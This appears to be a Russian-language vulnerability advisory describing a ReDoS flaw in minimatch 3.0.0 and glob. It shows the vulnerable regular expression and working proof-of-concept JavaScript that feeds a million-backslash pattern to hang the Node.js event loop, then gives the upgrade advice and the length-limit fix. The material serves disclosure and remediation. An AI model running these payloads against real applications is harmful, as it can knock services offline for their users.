Модуль
Minimatch (https://github.com/isaacs/minimatch) - это минимальная утилита сопоставления, которая работает путем преобразования глобальных выражений в объекты JavaScript RegExp.
По состоянию на май 2016 года он получает около 30 миллионов загрузок в месяц, что делает его третьим по популярности модулем npm по количеству загрузок. Он также используется как зависимость в модуле npm Glob (https://github.com/isaacs/node-glob), который является первым наиболее популярным модулем npm по количеству загрузок. На данный момент Minimatch - это версия 3.0.0, выпущенная в марте 2015 года.
Уязвимость
Отказ в обслуживании с использованием регулярных выражений (ReDoS) происходит, когда данное регулярное выражение достигает экстремального состояния, в результате чего сравнение со злонамеренными входными данными занимает чрезвычайно долгий период времени. Этот тип уязвимости особенно проблематичен в Node.js / JavaScript, поскольку он вызывает блокировку цикла событий до завершения сравнения. Пока цикл событий заблокирован, приложение Node.js не будет выполнять никакой другой обработки. Minimatch 3.0.0 уязвим для регулярного экспресс-отказа в обслуживании из-за проблемного регулярного выражения в строке 521 файла minimatch.js:
tail = tail.replace(/((?:\\{2})*)(\\?)\|/g, function (_, $1, $2) {
Эксплойт
Регулярное выражение, о котором идет речь, проверяет наличие \, что и является сутью эксплойта. Предоставляя строку с длинной последовательностью символов \, можно вызвать чрезмерное ветвление обработчика регулярных выражений, что увеличивает общее время выполнения сравнения. Когда используется строка 1 000 000 \ ‘s, цикл событий может блокироваться более чем на пять минут на одно сравнение. Число 1000000 было выбрано, потому что оно представляет собой верхнюю границу максимального размера запроса, который веб-приложение hapi будет принимать по умолчанию. Когда используется строка 100 000 \ 's - что является ограничением размера запроса Express по умолчанию - цикл событий блокируется на полные семь секунд в тестовых сценариях.
Доказательство концепции (PoC)
Уязвимый параметр - второй параметр для модуля Minimatch. Это параметр шаблона.
Полное доказательство концепции выглядит следующим образом:
var minimatch = require(“minimatch”); // utility function for generating long strings var genstr = function (len, chr) { var result = “”; for (i=0; i<=len; i++) { result = result + chr; } return result; } var exploit = “[!” + genstr(1000000, “\\”) + “A”; // minimatch exploit. console.log(“starting minimatch”); minimatch(“foo”, exploit); console.log(“finishing minimatch”);
Сопутствующий ущерб
Как отмечалось выше, Minimatch является зависимостью для Glob, и оказывается, что Glob уязвим для той же атаки ReDoS через первый параметр модуля Glob.
PoC для Glob будет выглядеть так:
var glob = require(“glob”); // utility function for generating long strings var genstr = function (len, chr) { var result = “”; for (i=0; i<=len; i++) { result = result + chr; } return result; } var exploit = “[!(“ + genstr(1000000, “\\”) + “A”; // glob exploit. console.log(“starting glob”); glob(exploit, function(err, matches){ console.log(“finishing glob”); });
Любое приложение, которое передает пользовательский ввод либо в модуль Glob, либо в параметр шаблона модуля Minimatch, уязвимо для этой конкретной атаки ReDos. Пользователям рекомендуется перейти на версию 3.0.2.
Исправление
Проблемная часть рассматриваемого регулярного выражения оказалась ((?: \\ {2}) *). После обсуждения с автором модуля было решено, что ограничение длины будет наложено на рассматриваемое регулярное выражение, в результате чего ((?: \\ {2}) {0,64}) как окончательное решение. Урок, который следует усвоить, может быть необходимым ограничить длину ввода регулярными выражениями, которые оказываются уязвимыми для отказа в обслуживании регулярных выражений.
Для получения дополнительной информации см. Рекомендации по адресу https://nodesecurity.io/advisories/118.